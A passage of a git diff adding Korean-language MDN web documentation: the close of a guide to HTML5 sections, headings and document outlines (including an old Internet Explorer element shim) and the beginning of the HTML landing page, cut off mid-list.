+<p>첫 번째 섹션에선 세 개의 하위 섹션이 존재합니다:</p>
+
+<pre>&lt;section&gt;
+  &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+
+  <span style="color: red;">&lt;section&gt;
+    &lt;h1&gt;소개&lt;/h1&gt;
+    &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 </span>둥근귀<span style="color: red;">코끼리에 관해 알아보겠습니다.&lt;/p&gt;</span>
+<span style="color: red;">  &lt;/section&gt;</span>
+
+  <span style="color: green;">&lt;section&gt;
+    &lt;h1&gt;서식지&lt;/h1&gt;
+    &lt;p&gt;</span>둥근귀<span style="color: green;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.&lt;/p&gt;
+  &lt;/section&gt;</span>
+
+  <span style="color: blue;">&lt;aside&gt;
+    &lt;p&gt;광고 구역&lt;/p&gt;
+  &lt;/aside&gt;</span>
+&lt;/section&gt;
+
+&lt;footer&gt;
+  &lt;p&gt;(c) 2013 회사 이름&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<p>그래서 다음과 같은 구조를 가지게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+   1.1 소개
+   1.2 서식지
+   1.3 광고 구역 (aside)
+</pre>
+
+<h3 id="HTML5에서_제목_지정하는_법">HTML5에서 제목 지정하는 법</h3>
+
+<p>비록 명시적 HTML 섹션 요소가 문서의 전체 구조를 정해주기는 하지만, 그 아웃라인을 좀 더 명확하게 표현하려면 제목의 사용도 중요합니다. 기본 규칙은 단순합니다: 처음 쓰인 HTML 제목 요소({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} 중 하나)가 해당 섹션의 제목으로 정해집니다.</p>
+
+<p><span style="line-height: inherit;">제목 요소엔 요소 이름에 붙은 숫자를 가지고 <em>계급</em>을 매기는데,</span> {{HTMLElement("h1")}}이 <em>최상위</em> 계급이며 {{HTMLElement("h6")}}는 <em>최하위</em> 계급이 됩니다. 제목 간 계급의 상대적 등급은 오로지 같은 섹션 안에서만 중요해집니다; 이 말은 섹션의 구조가 문서의 아웃라인을 결정짓는 데 중요한 변수로 작용하지만, 섹션 안에서 사용된 제목의 계급은 여기에 아무런 관련이 없다는 얘기입니다. 예를 들어, 아래와 같은 코드를 살펴보면:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+  &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+    ...계속 된 섹션 내용...
+  &lt;section&gt;
+    &lt;h2&gt;서식지&lt;/h2&gt;
+    &lt;p&gt;둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.
+    ...계속 된 하위 섹션 내용...
+  &lt;/section&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;h3&gt;몽골 게르빌루스쥐&lt;/h3&gt;
+  &lt;p&gt;이번 섹션에선, 잘 알려진 몽골 게르빌루스쥐에 관해 알아보겠습니다.
+    ...계속 된 섹션 내용...
+&lt;/section&gt;</pre>
+
+<p>이는 다음과 같은 아웃라인을 갖게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+   1.1 서식지
+2. 몽골 게르빌루스쥐</pre>
+
+<p>여기서 쓰인 제목 요소의 계급(위 보기에선 처음 최상위 섹션의 {{HTMLElement("h1")}}, 그 하위 섹션의 {{HTMLElement("h2")}} 그리고 두 번째 최상위 섹션에서 사용된 {{HTMLElement("h3")}})은 중요하지 않다는 점을 주목하십시오. (명시적으로 정의된 섹션의 제목으로 어떠한 계급을 써도 상관은 없지만, 이 방식이 권장되는 것은 아닙니다.)</p>
+
+<h3 id="은연중_자동으로_정의되는_섹션">은연중 자동으로 정의되는 섹션</h3>
+
+<p>HTML5에서 소개된 명시적 섹션 요소들만이 문서의 아웃라인을 정의하는 데 <span style="line-height: inherit;">절대적으로 </span><span style="line-height: inherit;">필요한 요소는 아니므로, 기존 웹에서 지배적으로 사용되는 HTML4와의 호환성을 지키려는 노력의 일환으로, 이들 없이도 섹션을 정의하는 또 하나의 방법이 있습니다. 이를 </span><em>은연중 자동으로 정의되는 섹션</em><span style="line-height: inherit;">이라 하겠습니다</span><span style="line-height: inherit;">.</span></p>
+
+<p>HTML 제목 요소({{HTMLElement("h1")}}부터 {{HTMLElement("h6")}})는 만약에 그들이 속한 상위 명시적 섹션의 첫 번째 제목으로 사용되지 않았다면, 자동으로 또 하나의 새로운 암묵적인 섹션으로 분류/정의되어 집니다. 이들 암묵적 섹션이 문서 아웃라인에서 위치하게 되는 기준은 기존 이들 제목을 포함하고 있는 상위 섹션에서 사용된 제목과의 상대적 계급에 따라 결정됩니다. 만약 전에 사용된 제목보다 계급이 더 낮다면, 은연중으로 해당 섹션의 하위 섹션으로 자리 잡게 됩니다. 아래 코드를 살펴보면:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+  &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+    ...섹션 내용 진행 중...
+  &lt;h3 class="implicit subsection"&gt;서식지&lt;/h3&gt;
+  &lt;p&gt;둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.
+    ...하위 섹션 내용 진행 중...
+&lt;/section&gt;</pre>
+
+<p>이는 다음과 같은 문서 아웃라인을 갖게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+   1.1 서식지 <em>(</em>h3 요소에 의해 은연중 자동으로 정의됨<em>)</em>
+</pre>
+
+<p>만약에 이전에 사용된 제목과 같은 계급이라면, (명시적으로 정의되었을 수도 있지요!) 바로 이전 섹션과 구분되면서 같은 계급의 또 하나의 새로운 암묵적 섹션으로 자리하게 됩니다:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+  &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+    ...섹션 내용 진행 중...
+  &lt;h1 class="implicit section"&gt;몽골 게르빌루스쥐&lt;/h1&gt;
+  &lt;p&gt;몽골 게르빌루스쥐는 귀엽고 작은 포유 동물입니다.
+    ...<span style="color: #323333; font-family: courier new;">섹션 내용</span> 진행 중...
+&lt;/section&gt;</pre>
+
+<p>위 코드는 다음과 같은 문서 아웃라인을 갖게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+2. 몽골 게르빌루스쥐 (h1 요소에 의해 자동으로 정의됨과 동시에 이전 섹션과 구분되어 짐)
+</pre>
+
+<p>만약에 이전에 사용된 제목보다 더 높은 계급의 제목이 사용되었다면, 이전 섹션과 구분되면서 더 높은 제목의 계급을 가진 또 하나의 새로운 암묵적 섹션으로 자리하게 됩니다:</p>
+
+<pre class="brush:xml">&lt;body&gt;
+  &lt;h1&gt;포유 동물&lt;/h1&gt;
+  &lt;h2&gt;고래&lt;/h2&gt;
+  &lt;p&gt;이번 섹션에선, 유영하는 고래에 관해 알아보겠습니다.
+    ...<span style="color: #323333; font-family: courier new;">섹션 내용</span> 진행 중...
+  &lt;section&gt;
+    &lt;h3&gt;둥근귀코끼리&lt;/h3&gt;
+    &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+      ...<span style="color: #323333; font-family: courier new;">섹션 내용</span> 진행 중...
+    &lt;h3&gt;몽골 게르빌루스쥐&lt;/h3&gt;
+      &lt;p&gt;몽골 게르빌루스쥐의 무리는 몽골을 훨씬 벗어나는 구역까지 퍼져있습니다.
+         ...<span style="color: #323333; font-family: courier new;">하위 섹션 내용</span> 진행 중...
+    &lt;h2&gt;파충류&lt;/h2&gt;
+      &lt;p&gt;파충류는 냉혈 동물입니다.
+          ...<span style="color: #323333; font-family: courier new;">하위 섹션 내용</span> 진행 중...
+  &lt;/section&gt;
+&lt;/body&gt;</pre>
+
+<p>위 코드는 다음과 같은 문서 아웃라인을 갖게 됩니다:</p>
+
+<pre dir="rtl">1. 포유 동물
+   1.1 고래 <em>(</em>h2 요소에 의해 자동으로 정의됨<em>)</em>
+   1.2 둥근귀코끼리 <em>(</em>섹션 요소에 의해 명시적으로 정의됨<em>)</em>
+   1.3 몽골 게르빌루스쥐 <em>(</em>h3 요소에 의해 자동으로 정의됨과 동시에 이전 섹션과 구분되어 짐<em>)</em>
+2. 파충류 <em>(</em>h2 요소에 의해 자동으로 정의됨과 동시에 이전 섹션과 구분되어 짐<em>)</em></pre>
+
+<p>단순히 써진 제목의 태그들만 살펴본다면, 이것은 결코 예상했던 문서의 아웃라인은 아닐 것입니다. 그래서 작성한 마크업이 다른 사람에게도 쉽게 이해되도록 하려면, 섹션을 구분할 때 명시적 섹션 요소의 태그들을 쓰는 것이 바람직하며, 원래 의도하는 섹션의 중첩 수준을 고려해서 그에 어울리는 제목의 계급을 써야 합니다. 그런데 이것이 꼭 HTML5 명세서에서 요구하는 필수 준수 사항은 아닙니다. 만약에 작성한 문서의 아웃라인을 <span style="line-height: inherit;">브라우저가 </span><span style="line-height: inherit;">원래 의도한 방향으로 표시해 주지 못한다면, 혹시 사용한 제목 요소가 은연중 자동으로 기존 섹션과 구분되게 사용되었는지 확인해 보시기 바랍니다.</span></p>
+
+<p>제목의 계급은 항상 해당 섹션의 중첩 수준과 일치하도록 쓰라는 규칙의 예외도 있을 수 있는데, 그 중 하나 여러 문서에서 공통으로 재사용되는 섹션의 경우가 있습니다. 예를 들면, 섹션 내용이 어떤 콘텐츠 관리 시스템에 저장되어 실시간으로 여러 다른 저장된 내용과 함께 조합되어 문서에 표시될 때가 있습니다. 이 경우엔, 재사용되는 섹션의 가장 최상위 제목으로 {{HTMLElement("h1")}}부터 시작해서 사용하실 것을 권장합니다. 그러면 재사용되는 섹션의 중첩 수준은 문서의 섹션 계층 중 해당 섹션이 삽입되어 보이는 위치에 따라 자동으로 결정될 것입니다. 이 경우에도 명시적 섹션 태그가 문서 아웃라인을 명확히 하는 데 도움을 줍니다.</p>
+
+<h3 id="섹션_구분의_근원점"><a name="sectioning_root">섹션 구분의 근원점</a></h3>
+
+<p>섹션 구분의 근원점은 HTML 요소 중 자기만의 아웃라인을 가질 수는 있지만, 그 안의 섹션이나 제목이 자기 위에 있는 요소의 아웃라인에는 어떠한 영향도 끼치지 않는 것들을 가리킵니다. 논리적으로 따지면 당연히 문서의 섹션을 구분하는데 그 근본이 되는 {{HTMLElement("body")}}가 여기에 포함되고, 이 외에도 종종 외부 콘텐츠를 페이지에 표시하는 데 사용되는 다음과 같은 요소들도 있습니다: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} 마지막으로 {{HTMLElement("td")}}.</p>
+
+<p>보기:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;숲 코끼리&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h2&gt;소개&lt;/h2&gt;
+    &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h2&gt;서식지&lt;/h2&gt;
+    &lt;p&gt;둥근귀<span style="color: #323333; font-family: courier new;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.
+</span>      과학자들은 "&lt;cite&gt;보르네오 섬의 둥근귀코끼리&lt;/cite&gt;"라는 제목의 책에서 다음과 같이 서술하고 있습니다:&lt;/p&gt;
+    &lt;blockquote&gt;
+       &lt;h1&gt;보르네오 섬&lt;/h1&gt;
+       &lt;p&gt;보르네오 섬에 서식하는 둥근귀코끼리...&lt;/p&gt;
+    &lt;/blockquote&gt;
+  &lt;/section&gt;
+&lt;/section&gt;
+</pre>
+
+<p>위의 보기에선 다음과 같은 문서 아웃라인을 가지게 됩니다:</p>
+
+<pre>1. 숲 코끼리
+   1.1 소개
+   1.2 서식지</pre>
+
+<p>이 문서의 아웃라인을 살펴보면 외부 인용 문구로 사용된 {{HTMLElement("blockquote")}} 요소의 경우, 섹션 구분의 근원이 되는 요소 중 하나로서 자기가 포함하고 있는 내부 내용의 아웃라인이 외부의 것과 완전히 차단되면서, 전체 문서의 아웃라인에는 포함되지 않았습니다.</p>
+
+<h3 id="문서의_아웃라인_밖에_존재하는_섹션">문서의 아웃라인 밖에 존재하는 섹션</h3>
+
+<p><span style="line-height: inherit;">HTML5에선 웹 문서의 주요 아웃라인에 속하지 않는 섹션을 정의할 수 있도록 하는 새로운 네 가지의 요소들을 소개하고 있습니다:</span></p>
+
+<ol>
+ <li>HTML Aside 섹션 요소({{HTMLElement("aside")}})는 주요 문맥을 담은 요소와 어떤 관련성을 지니고 있지만, 어떤 부연 설명 표시 영역이나 광고처럼 문맥의 주요 흐름 줄기엔 속하지 않는 섹션을 나타냅니다. 물론 자기만의 아웃라인을 가지고 있어서, 문서의 주요 아웃라인엔 포함되지 않습니다.</li>
+ <li>HTML Navigational 섹션 요소({{HTMLElement("nav")}})는 내비게이션 링크들을 포함하고 있는 섹션입니다. 이런 링크들은 문서에 여러 개가 있을 수 있는데, 예를 들어, 콘텐츠 목차와 같은 페이지 내부 링크나 사이트의 내비게이션 링크가 있습니다. 이런 링크는 문서의 주요 문맥과 아웃라인에 포함되지 않아서 보통 처음에는 스크린 리더나 비슷한 보조 기술을 사용하는 장치에서 읽어드리지 않을 수도 있습니다.</li>
+ <li>HTML Header 섹션 요소({{HTMLElement("header")}})는 페이지의 도입부로서 보통 로고나 사이트 이름 그리고 수평 메뉴를 포함하고 있습니다. 이름에서 풍기는 느낌과는 달리 꼭 페이지 처음에 있을 필요는 없습니다.</li>
+ <li>HTML Footer 섹션 요소({{HTMLElement("footer")}})는 페이지의 종결부로서 보통 저작권이나 법률적 고지 혹은 약간의 링크들을 포함하고 있습니다. 이것도 역시 이름이 가진 직설적 의미와 달리 페이지 끝에 있을 필요는 없습니다.</li>
+</ol>
+
+<h2 id="섹션을_구분짓는_요소의_주소와_발행_시간">섹션을 구분짓는 요소의 주소와 발행 시간</h2>
+
+<p>문서를 작성하다 보면 종종 저자의 이름이나 주소와 같은 연락 정보를 공개하고 싶을 때가 있습니다. HTML4에선 이런 목적으로 {{HTMLElement("address")}} 요소가 쓰였는데, HTML5에선 여기에 더 보완된 내용이 추가되었습니다.</p>
+
+<p>가끔 문서에는 여러 명의 저자가 작성한 여러 개의 섹션이 포함되어 있을 수도 있습니다. 메인 페이지의 저자와 다른 또 다른 사람?이 작성한 콘텐츠가 포함된 섹션은 {{HTMLElement("article")}} 요소를 써서 정의합니다. 이렇게 하면, {{HTMLElement("address")}} 요소는 지정?된 위치에 따라 가장 가까운 상위의 {{HTMLElement("body")}} 혹은 {{HTMLElement("article")}}과 연관된 정보로 표시됩니다.</p>
+
+<p>비슷하게, HTML5의 새 {{HTMLElement("time")}} 요소에 pubdate boolean 속성이 지정되었다면 문서 전체의 발행 날짜를 표시해 주는데, article에서처럼, 가장 가까운 상위의 {{HTMLElement("body")}} 혹은 {{HTMLElement("article")}} 과 연관된 정보로 표시됩니다.</p>
+
+<h2 id="HTML5_미지원_브라우저에서_HTML5_요소를_사용하는_법">HTML5 미지원 브라우저에서 HTML5 요소를 사용하는 법</h2>
+
+<p>섹션과 제목 요소들은 대부분의 HTML5 미지원 브라우저에서도 정상적으로 사용하실 수 있습니다. 지원하진 않더라도, 어떤 특별한 DOM 인터페이스가 필요한 것은 아니고 단지 인식하지 못하는 요소는 기본적으로 <code>display:inline</code> 으로 표시되기 때문에 다음과 같이 특별한 CSS 스타일을 지정해 주어야 합니다:</p>
+
+<pre class="brush: css">section, article, aside, footer, header, nav, hgroup {
+  display:block;
+}
+</pre>
+
+<p>물론 웹 개발자가 이들의 스타일을 달리 표시해 줄 수도 있는데, HTML5 미지원 브라우저에선 해당 요소들의 기본 표시 스타일이 원래의 정상적인 것과 다르다는 점을 명심해야 합니다. 또한, 여기엔 {{HTMLElement("time")}} 요소가 포함되지 않았는데, 그 이유는 기본 스타일이 HTML5 미지원 브라우저의 것과 HTML5 호환 브라우저의 것과 서로 같기 때문입니다.</p>
+
+<div>그런데 이 방법도 약간의 제약이 있어서, 어떤 브라우저에선 지원하지 않은 요소의 스타일을 애초에 지정할 수도 없게 되어 있습니다. Internet Explorer(버전 8 이하)가 여기에 해당하는데, 제대로 스타일을 지정해 주려면 다음과 같은 스크립트가 필요합니다:</div>
+
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  &lt;/script&gt;
+&lt;![endif]--&gt;</pre>
+
+<p>이 스크립트가 하는 일은, Internet Explorer(8 혹은 그 이하)일 경우, HTML5의 섹션 요소와 제목 요소가 제대로 표시될 수 있도록 실행됩니다. 여기에 언급된 요소들은 전체 페이지의 구조를 정의하는 데 필요한 아주 중요한 요소이기 때문에, 만약에 스크립트의 힘을 빌리지 않다면 표시조차 되지 않게 되면서 문제 될 수 있습니다. 그래서 이런 때를 대비해서 명시적으로 다음과 같은 {{HTMLElement("noscript")}} 요소도 추가되어야 합니다:</p>
+
+<pre class="brush:xml">&lt;noscript&gt;
+   &lt;strong&gt;주의 !&lt;/strong&gt;
+   귀하가 사용하고 계신 브라우저는 HTML5를 지원하고 있지 않아서, 할 수 없이 JScript를 써서 몇몇 요소가 제대로 보이도록 구현했습니다.
+   그런데 안타깝게도 귀하의 브라우저에선 스크립트 기능이 꺼져있습니다. 이 페이지가 제대로 표시되려면 스크립트 기능을 켜주셔야만 합니다.
+&lt;/noscript&gt;</pre>
+
+<p>그래서 결국, Internet Explorer(8 혹은 그 이하)처럼 HTML5 미지원 브라우저에서도 HTML5의 섹션과 제목 요소를 제대로 지원하도록 하고, 또 만약을 대비해 이런 미지원 브라우저에서 스크립팅 기능이 꺼져있을 때를 대비해서 다음과 같은 코드를 추가해 줘야 합니다:</p>
+
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  &lt;/script&gt;
+  &lt;noscript&gt;
+     &lt;strong&gt;주의 !&lt;/strong&gt;
+     귀하가 사용하고 계신 브라우저는 HTML5를 지원하고 있지 않아서, 할 수 없이 JScript를 써서 몇몇 요소가 제대로 보이도록 구현했습니다.
+     그런데 안타깝게도 귀하의 브라우저에선 스크리트 기능이 꺼져있습니다. 이 페이지가 제대로 표시되려면 스크립트 기능을 켜주셔야만 합니다.
+   <code>&lt;/noscript&gt;
+</code>&lt;![endif]--&gt;
+</pre>
+
+<h2 id="맺음말">맺음말</h2>
+
+<p>HTML5에서 소개된 새로운 섹션과 제목 요소는 웹 문서의 구조와 아웃라인을 표준화된 방법으로 작성할 수 있게 도와줍니다. 또한, HTML5를 지원하는 브라우저 사용자나 페이지 내용을 제대로 전달하는데 그 구조 파악이 중요한, 예를 들어 보조 지원 기술의 도움으로 페이지의 내용을 파악하는, 사용자 모두에게 커다란 이득을 안겨다 줍니다. 새로 소개된 의미가 담긴 요소들은, 약간의 노력만 기울인다면, 사용이 간편해서 HTML5 미지원 브라우저에서도 온전히 사용하실 수 있습니다. 그러므로 아무런 제약 없이 마음 놓고 사용하시기 바랍니다.</p>
diff --git a/files/ko/web/html/index.html b/files/ko/web/html/index.html
new file mode 100644
index 0000000000..e3ae601efc
--- /dev/null
+++ b/files/ko/web/html/index.html
@@ -0,0 +1,117 @@
+---
+title: 'HTML: Hypertext Markup Language'
+slug: Web/HTML
+tags:
+  - HTML
+  - HTML 강의
+  - HTML 강좌
+  - HTML 튜토리얼
+  - HTML 프로그래밍
+  - HTML5
+  - Landing
+  - Web
+  - 'l10n:priority'
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><span class="seoSummary"><strong>HTML</strong>(HyperText Markup Language)은 웹을 이루는 가장 기초적인 구성 요소입니다. HTML은 웹 콘텐츠의 의미와 구조를 정의할 때 사용합니다. HTML 말고도 웹 페이지의 외형과 표현을 서술하고(<a href="/ko/docs/Web/CSS">CSS</a>), 기능과 동작을 서술하는(<a href="/ko/docs/Web/JavaScript">JavaScript</a>) 기술도 있습니다.</span></p>
+
+<p>"Hypertext(하이퍼텍스트)"란 웹 페이지를 다른 페이지로 연결하는 링크를 말합니다. 링크는 웹의 근본적인 속성입니다. 인터넷에 자료를 올리고 다른 사람이 만든 페이지로 링크함으로써, 여러분은 월드 와이드 웹 세계의 능동적인 일원이 될 수 있습니다.</p>
+
+<p>HTML은 웹 브라우저에 표시되는 글, 이미지 등의 다양한 컨텐츠를 표시하기 위해 "마크업"을 사용합니다. HTML 마크업은 {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} 처럼, 수많은 "요소"를 사용합니다.</p>
+
+<p>HTML 요소는 문서의 다른 텍스트와 "태그"로 구분합니다. 태그는 "<code>&lt;</code>", 태그 이름, "<code>&gt;</code>"로 이루어집니다. 태그 안의 요소명은 대소문자를 구분하지 않습니다. 즉, 대문자, 소문자, 아니면 섞어서도 작성할 수 있습니다. 예를 들어 <code>&lt;title&gt;</code>요소는 <code>&lt;Title&gt;</code>, <code>&lt;TITLE&gt;</code>, 그 외 기타 가능한 모든 방법으로 작성할 수 있습니다.</p>
+
+<p>아래에서 HTML을 더 깊이 배워보세요.</p>
+
+<section class="cleared" id="sect1">
+<ul class="card-grid">
+ <li><span>HTML 소개</span>
+
+  <p>웹 개발을 새로 시작하는 분이라면 <a href="/ko/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 기초</a>를 읽고, HTML이 무엇인지와 어떻게 사용하는지 배워보세요.</p>
+ </li>
+ <li><span>HTML 자습서</span>
+  <p>HTML 사용법, 자습서, 완전한 예제 등은 <a href="/ko/docs/Learn/HTML">HTML 익힘장</a>에서 확인할 수 있습니다.</p>
+ </li>
+ <li><span>HTML 참고서</span>
+  <p><a href="/ko/docs/Web/HTML/Reference">방대한 참고서</a>는 HTML을 구성하는 요소와 속성에 대한 자세한 내용을 담고 있습니다.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Tools" id="초보자_자습서">초보자 자습서</h2>
+
+<p>MDN의 <a href="/ko/docs/Learn/HTML">HTML 익힘장</a>은 HTML을 가장 기초부터 알려주는 여러 개의 장을 가지고 있습니다. 이전 경험은 필요하지 않습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a></dt>
+ <dd>이 모듈은 기초를 다져서 당신이 HTML을 텍스트에 적용하거나, 하이퍼링크를 작성하거나, HTML을 이용해 웹 페이지를 만드는 등 중요한 개념과 구문에 익숙해지도록 합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Multimedia_and_embedding">멀티미디어와 임베딩</a></dt>
+ <dd>이 모듈은 HTML을 사용해 웹페이지에 멀티미디어를 삽입하는 방법을 살펴봅니다. 이미지를 삽입하는 여러 방법과 오디오, 비디오, 혹은 다른 웹 페이지 자체를 삽입하는 방법을 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Tables">HTML 표</a></dt>
+ <dd>표 형태의 데이터를 이해하기 쉽고 접근성 높은 방식으로 웹페이지에 표현하는 것은 어려울 수 있습니다. 이 모듈은 기본적은 표 마크업과 캡션, 요약을 사용하는 복잡한 요소들을 다룹니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a></dt>
+ <dd>양식은 웹의 매우 중요한 부분으로, 회원가입과 로그인, 피드백 전송, 상품 구매 등등 웹 사이트와 상호작용에 필요한 많은 기능을 제공합니다. 이 모듈은 양식의 클라이언트 사이드/프론트 엔드 부분을 만들며 시작합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Howto">HTML로 일반적인 문제 해결하기</a></dt>
+ <dd>제목 다루기, 이미지와 비디오 추가하기, 콘텐츠 강조하기, 기본적인 양식 만들기 등 일반적인 문제를 HTML로 해결하는 법을 설명한 문서로의 링크를 제공합니다.</dd>
+</dl>
+
+<h2 id="고급_주제">고급 주제</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/CORS_enabled_image">CORS 활성화한 이미지</a></dt>
+ <dd class="landingPageList">
+ <p>{{htmlattrxref("crossorigin", "img")}} 속성을 적절한 {{glossary("CORS")}} 헤더와 조합하면 {{htmlelement("img")}} 요소의 이미지를 외부 {{glossary("origin", "출처")}}에서 가져올 수 있으며, 마치 현재 출처의 이미지인 것처럼 {{htmlelement("canvas")}}에서도 사용할 수 있습니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/CORS_settings_attributes">CORS 설정 특성</a></dt>
+ <dd class="landingPageList">
+ <p>{{htmlelement("img")}}, {{htmlelement("video")}} 등 {{glossary("CORS")}}를 지원하는 일부 HTML 요소는 <code>crossorigin</code> 특성(<code>crossOrigin</code> 속성)을 보유하며, 해당 요소가 데이터를 가져올 때의 CORS 요청을 통제할 수 있습니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Preloading_content">rel="preload"로 콘텐츠 미리 불러오기</a></dt>
+ <dd class="landingPageList">
+ <p>{{htmlelement("link")}}요소의 {{htmlattrxref("rel", "link")}} 속성의 프리로드 값을 사용하면, 브라우저의 메인 렌더링 작업이 시작되기 전 페이지 로드 과정 중 라이프사이클 초기에 프리로딩을 시작하고자 하는 리소스를 지정하여 HTML {{htmlelement("head")}}에 선언적인 가져오기 요청을 쓸 수 있습니다. 이것은 리소스들이 더 일찍 이용가능 하도록 만들고 페이지의 첫 번째 렌더를 차단할 가능성을 감소시켜 성능 향상에 이르게 합니다. 이 글은 프리로드(<code>preload</code>) 작동 방법에 대한 기본적인 지침을 제공합니다.</p>
+ </dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="참고서">참고서</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Reference">HTML 참고서</a></dt>
+ <dd class="landingPageList">HTML은 <strong>요소</strong>로 이루어져있으며, 각각의 요소는 몇 가지 <strong>특성</strong>을 사용해 수정할 수 있습니다. HTML 문서는 서로 <a href="/ko/docs/Web/HTML/Link_types">링크</a>로 연결되어 있습니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Element">HTML 요소 참고서</a></dt>
+ <dd class="landingPageList">모든 {{glossary("HTML")}} {{glossary("Element", "요소")}}의 목록을 살펴보세요.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Attributes">HTML 특성 참고서</a></dt>
+ <dd class="landingPageList">HTML 요소는 <strong>특성</strong>을 가집니다. 특성은 요소와 요소의 동작 방식을 다양하게 설정하고 수정하는 일련의 추가 값입니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></dt>
+ <dd class="landingPageList">전역 특성은 모든 <a href="/ko/docs/Web/HTML/Element">HTML 요소</a>에 지정할 수 있으며, 심지어 표준에 명시되지 않은 요소에도 지정할 수 있습니다. 이는, 비표준 요소를 사용하는 순간 문서가 HTML5를 준수하지 않음에도 불구하고, 비표준 요소 역시 전역 특성을 허용해야 함을 의미합니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a>와 <a href="/ko/docs/Web/HTML/Block-level_elements">블록 레벨 요소</a></dt>
+ <dd class="landingPageList">HTML의 요소는 역사적으로 "블록 레벨" 요소와 "인라인" 요소로 분류됐습니다. 인라인 요소는 콘텐츠의 흐름을 끊지 않고, 요소를 구성하는 태그에 할당된 공간만 차지합니다. 블록 레벨 요소는 부모 요소의 전체 공간을 차지하여 "블록"을 만듭니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Link_types">링크 유형</a></dt>
+ <dd class="landingPageList">HTML에선 두 문서간의 관계를 명시할 때 여러 링크 유형을 사용합니다. 유형을 설정할 수 있는 링크 타입 요소들은 <code>&lt;a&gt;</code>, <code>&lt;area&gt;</code>, 또는 <code>&lt;link&gt;</code>가 있습니다.</dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/Media/Formats">HTML 미디어 유형과 형식 안내서</a></dt>
+ <dd class="landingPageList">
+ <p>{{HTMLElement("audio")}}와 {{HTMLElement("video")}} 요소를 통해 외부 프로그램 없이 오디오와 비디오 미디어를 재생할 수 있습니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/Guide/HTML/Content_categories">HTML 콘텐츠 카테고리</a></dt>
+ <dd class="landingPageList">
